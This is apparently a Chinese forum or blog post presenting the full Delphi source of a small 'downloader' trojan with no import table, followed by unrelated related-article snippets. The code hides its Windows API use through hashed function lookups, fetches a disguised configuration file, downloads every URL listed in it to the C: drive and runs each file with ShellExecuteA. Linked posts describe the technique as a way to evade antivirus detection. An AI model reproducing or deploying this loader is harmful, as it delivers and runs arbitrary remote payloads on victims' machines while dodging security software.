[源码]Delphi 5KB无输入表下载者
[源码]Delphi 5KB无输入表下载者源码
- PROGRAM Fun;
- type
- DWORD = LongWord;
- THandle = LongWord;
- BOOL = LongBool;
- LPCSTR = PAnsiChar;
- HINTERNET = Pointer;
- FARPROC = Pointer;
- PShortString = ^ShortString;
- PLongint = ^Longint;
- HRESULT = type Longint; { from WTYPES.H }
- PGUID = ^TGUID;
- TGUID = packed record
- D1: LongWord;
- D2: Word;
- D3: Word;
- D4: array[0..7] of Byte;
- end;
- PSecurityAttributes = ^TSecurityAttributes;
- _SECURITY_ATTRIBUTES = record
- nLength: DWORD;
- lpSecurityDescriptor: Pointer;
- bInheritHandle: LongBool;
- end;
- TSecurityAttributes = _SECURITY_ATTRIBUTES;
- SECURITY_ATTRIBUTES = _SECURITY_ATTRIBUTES;
- POverlapped = ^TOverlapped;
- _OVERLAPPED = record
- Internal: DWORD;
- InternalHigh: DWORD;
- Offset: DWORD;
- OffsetHigh: DWORD;
- hEvent: THandle;
- end;
- TOverlapped = _OVERLAPPED;
- OVERLAPPED = _OVERLAPPED;
- CONST
- Dw_ShellExecuteA = $EB7C1488;
- Dw_ShellExecuteW = $1FA8A1D9;
- Dw_URLDownloadToFileA = $1E30F2EA;
- Dw_StrStrA = $0A62DA9E;
- Dw_lstrlenA = $E90E2A0C;
- Dw_lstrcpyA = $AE03DF57;
- Dw_lstrcpynA = $3464616E;
- Dw_StrDupA = $F458BD0D;
- Dw_StrNCatA = $8DB90EA6;
- Dw_CreateFileA = $553B5C78;
- Dw_ReadFile = $095C03D0;
- Dw_CloseHandle = $B09315F4;
- S_OK = $00000000;
- ERROR = 0;
- INTERNET_OPEN_TYPE_PRECONFIG = 0;
- HTTP_QUERY_RAW_HEADERS_CRLF = 22;
- MAX_PATH = 260;
- GENERIC_READ = DWORD($80000000);
- FILE_SHARE_READ = $00000001;
- OPEN_EXISTING = 3;
- FILE_ATTRIBUTE_NORMAL = $00000080;
- DwUrl = 'http://www.baidu.com/img/bdlogo.gif|----------------------------------------------------------------------';
- VAR
- LoadLibrary:function(lpLibFileName: PAnsiChar): longWord; stdcall;
- ShellExecuteA:function(hWnd: LongWord; Operation, FileName, Parameters, Directory: PAnsiChar; ShowCmd: Integer): LongWord; stdcall;
- URLDownloadToFileA:function(Caller:Pointer; URL:PChar; FileName:PChar; Reserved: DWORD; StatusCB:Pointer): HResult; stdcall;
- lstrlenA:function(lpString: PAnsiChar): Integer; stdcall;
- StrStrA:function(lpFirst, lpSrch: PAnsiChar): PAnsiChar; stdcall;
- lstrcpyA:function(lpString1, lpString2: PAnsiChar): PAnsiChar; stdcall;
- lstrcpynA:function(lpString1, lpString2: PAnsiChar; iMaxLength: Integer): PAnsiChar; stdcall;
- StrDupA:function(lpSrch: PAnsiChar): PAnsiChar; stdcall;
- StrNCatA:function(psz1: PAnsiChar; psz2: PAnsiChar; cchMax: Integer): PAnsiChar; stdcall;
- CreateFileA:function(lpFileName: PAnsiChar; dwDesiredAccess, dwShareMode: DWORD;lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: DWORD; hTemplateFile: THandle): THandle; stdcall;
- ReadFile:function(hFile: THandle; var Buffer; nNumberOfBytesToRead: DWORD; var lpNumberOfBytesRead: DWORD; lpOverlapped: POverlapped): BOOL; stdcall;
- CloseHandle:function(hObject: THandle): BOOL; stdcall;
- function DwPos(lpFirst,lpSrch:PAnsiChar):Integer;
- begin
- Result :=DWORD(StrStrA(lpFirst,lpSrch)) - DWORD(lpFirst);
- end;
- procedure DwDelete(lpszStr: PAnsiChar; index, count: Integer);
- begin
- lstrcpyA(@lpszStr[index - 1], @lpszStr[index + count - 1]);
- end;
- function DwStrLCopy(Dest: PAnsiChar; const Source: PAnsiChar; MaxLen: Cardinal): PAnsiChar; assembler;
- asm
- PUSH EDI
- PUSH ESI
- PUSH EBX
- MOV ESI,EAX
- MOV EDI,EDX
- MOV EBX,ECX
- XOR AL,AL
- TEST ECX,ECX
- JZ @@1
- REPNE SCASB
- JNE @@1
- INC ECX
- @@1: SUB EBX,ECX
- MOV EDI,ESI
- MOV ESI,EDX
- MOV EDX,EDI
- MOV ECX,EBX
- SHR ECX,2
- REP MOVSD
- MOV ECX,EBX
- AND ECX,3
- REP MOVSB
- STOSB
- MOV EAX,EDX
- POP EBX
- POP ESI
- POP EDI
- end;
- function DwStrPCopy(Dest: PAnsiChar; const Source: PAnsiChar): PAnsiChar;
- begin
- Result := DwStrLCopy(Dest, Source, lstrlenA(Source));
- end;
- var
- I:Integer;
- BinaryFile: LongWord;
- dwBytesRead: DWORD;
- szBuffer,NewDir,Temp:array [0..100] of AnsiChar;
- FBuf:Array[0..2048] of AnsiChar;
- PosTxt:PAnsiChar;
- kernel32,shlwapi:LongWord;
- begin
- BuildCRC32Table;
- @LoadLibrary:=MyLoadLibraryA;
- kernel32 := LoadLibrary('kernel32.dll');
- shlwapi := LoadLibrary('shlwapi.dll');
- @ShellExecuteA:=GetProcAddress(LoadLibrary('shell32.dll'),Dw_ShellExecuteA);
- @URLDownloadToFileA:=GetProcAddress(LoadLibrary('UrlMon.dll'),Dw_URLDownloadToFileA);
- @StrStrA:=GetProcAddress(shlwapi,Dw_StrStrA);
- @StrDupA:=GetProcAddress(shlwapi,Dw_StrDupA);
- @StrNCatA:=GetProcAddress(shlwapi,Dw_StrNCatA);
- @lstrlenA:=GetProcAddress(kernel32,Dw_lstrlenA);
- @lstrcpyA:=GetProcAddress(kernel32,Dw_lstrcpyA);
- @lstrcpynA:=GetProcAddress(kernel32,Dw_lstrcpynA);
- @CreateFileA:=GetProcAddress(kernel32,Dw_CreateFileA);
- @ReadFile:=GetProcAddress(kernel32,Dw_ReadFile);
- @CloseHandle:=GetProcAddress(kernel32,Dw_CloseHandle);
- lstrcpyA(szBuffer, DwUrl);
- DwDelete(szBuffer, DwPos(szBuffer,'|')+1, 100);
- I:= DwPos(DwUrl,'|')+1;
- lstrcpynA(szBuffer,DwUrl,I);
- if URLDownloadToFileA(nil,szBuffer,'c:\k8down.jpg', 0, nil)= S_OK then
- begin
- BinaryFile := CreateFileA('c:\k8down.jpg', GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
- ReadFile(BinaryFile, FBuf , 2048, dwBytesRead, nil);
- if (dwBytesRead > 0) then
- begin
- closehandle(BinaryFile);
- end;
- while (DwPos(FBuf,'//') <> 0) and (DwPos(FBuf,'|') <> 0) do
- begin
- if (DwPos(FBuf,'|') < 6) then Break;
- I:=DwPos(FBuf,'|')+1;
- lstrcpynA(Temp,FBuf,I);
- DwDelete(FBuf,1, I + 2);
- DwStrPCopy(NewDir,'C:\');
- PosTxt:=StrDupA(Temp);
- DwDelete(PosTxt, 1, 7);
- while (DwPos(PosTxt,'/') > 0) do
- begin
- DwDelete(PosTxt, 1, DwPos(PosTxt,'/')+1);
- end;
- StrNCatA(NewDir,PosTxt,-1);
- if URLDownloadToFileA(nil,Temp,NewDir, 0, nil)= S_OK then
- begin
- ShellExecuteA(0,'open',NewDir,nil,nil,5);
- end;
- end;
- end;
- end.
完整程序源码如下:
https://download.csdn.net/download/qq396890445/6812539
[源码]Delphi 5KB无输入表下载者的更多相关文章
- 2014年最新720多套Android源码2.0GB免费一次性打包下载
之前发过一个帖子,但是那个帖子有点问题我就重新发一个吧,下面的源码是我从今年3月份开始不断整理源码区和其他网站上的android源码,目前总共有720套左右,根据实现的功能被我分成了100多个类,总共 ...
- [源码]Delphi源码免杀之函数动态调用 实现免杀的下载者
[免杀]Delphi源码免杀之函数动态调用 实现免杀的下载者 2013-12-30 23:44:21 来源:K8拉登哥哥's Blog 自己编译这份代码看看 过N多杀软 没什么技 ...
- 转--2014年最新810多套android源码2.46GB免费一次性打包下载
转载自:http://www.eoeandroid.com/thread-497046-1-1.html 感谢该博客主人无私奉献~~ 下面的源码是从今年3月份开始不断整理源码区和其他网站上的安卓例子源 ...
- Tika结合Tesseract-OCR 实现光学汉字识别(简体、宋体的识别率百分之百)—附Java源码、测试数据和训练集下载地址
OCR(Optical character recognition) —— 光学字符识别,是图像处理的一个重要分支,中文的识别具有一定挑战性,特别是手写体和草书的识别,是重要和热门的科学研究方向.可 ...
- easyui源码翻译1.32--Form(表单)
前言 使用$.fn.form.defaults重写默认值对象下载该插件翻译源码 form提供了各种方法来操作执行表单字段,比如:ajax提交, load, clear等等.当提交表单的时候可以调用va ...
- [转]数据库中间件 MyCAT源码分析——跨库两表Join
1. 概述 2. 主流程 3. ShareJoin 3.1 JoinParser 3.2 ShareJoin.processSQL(...) 3.3 BatchSQLJob 3.4 ShareDBJo ...
- 【一起学源码-微服务】Nexflix Eureka 源码八:EurekaClient注册表抓取 精妙设计分析!
前言 前情回顾 上一讲 我们通过单元测试 来梳理了EurekaClient是如何注册到server端,以及server端接收到请求是如何处理的,这里最重要的关注点是注册表的一个数据结构:Concurr ...
- Python源码剖析|百度网盘免费下载|Python新手入门|Python新手学习资料
百度网盘免费下载:Python源码剖析|新手免费领取下载 提取码:g78z 目录 · · · · · · 第0章 Python源码剖析——编译Python0.1 Python总体架构0.2 Pyth ...
- 【雷神源码解析】无基础看懂AAC码流解析,看不懂你打我
一 前言 最近在尝试学习一些视频相关的知识,随便一搜才知道原来国内有雷神这么一个真正神级的人物存在,尤其是在这里(传送门)看到他的感言更是对他膜拜不已,雷神这种无私奉献的精神应当被我辈发扬光大.那写这 ...
随机推荐
- tomcat/Java指定加载jar包的路径
背景:部署的web站点,应用默认加载工程的/webapps/工程名/WEB-INF/lib下的jar包 但是我需要提供一个和web工程没关系的的jar包管理目录 解决方法: 执行java方法时 ...
- 关于深度学习中的batch_size
5.4.1 关于深度学习中的batch_size 举个例子: 例如,假设您有1050个训练样本,并且您希望设置batch_size等于100.该算法从训练数据集中获取前100个样本(从第1到第100个 ...
- linux环境:创建数据库用户,表空间,启动数据库
1.启动数据库 首先使用oracle用户登录Linux,然后在shell命令行中执行下面的命令:第一步:打开Oracle监听(先查看状态:oracle监听是否启动:lsnrctl status)$ l ...
- 算法练习LeetCode初级算法之链表
删除链表中的节点 /** * Definition for singly-linked list. * public class ListNode { * int val; * ListNode ne ...
- AltiumDesigner 查找相似对象
同类器件的集体选中.集体选中的方法是:先选中一个标识符,右击在选项表中选择Find Similar Objects,然后就会出现一个对话框,在这个对话框中,有一些any项,根据自己的需要把一些any改 ...
- input text 只能输入数字
添加 onkeyup="value=value.replace(/[^\d]/g,'')"
- 微信小程序之----制作视频弹幕
1. 文件目录 使用微信, 长度单位使用 rpx 可以避免不同设备的样式调试问题 经验总结,之前一直使用px ,发现换了测试机就崩了 2. index.wxml页面设置v ...
- 【.Net】 大文件可使用的文本分组统计工具(附带源码,原创)
本工具可实现的效果: 1.读取大文件(大于1GB) 2.根据分隔符分割后的列分组 3.速度快. 4.处理过程中,可以随时停止处理,操作不卡死. 5.有对当前内存的实时监测,避免过多占用内存,影响系统运 ...
- centos 7 一些命令
su 切换到管理员账户cd 'wo shi mu lu'ls 查看 当前目录或者文件tar -xvzf pip-10.0.1.tar.gz 解压 文件systemctl restart network ...
- Bootstrap+PHP fileinput 实现多图上传 这是ajax上传,只能单张单张图片地上传
插件及源代码可以在这里下载 http://www.jq22.com/jquery-info5231下面是根据下载的demo进行补充:使用bootstrap界面美观,可预览,可拖拽上传,可配合ajax异 ...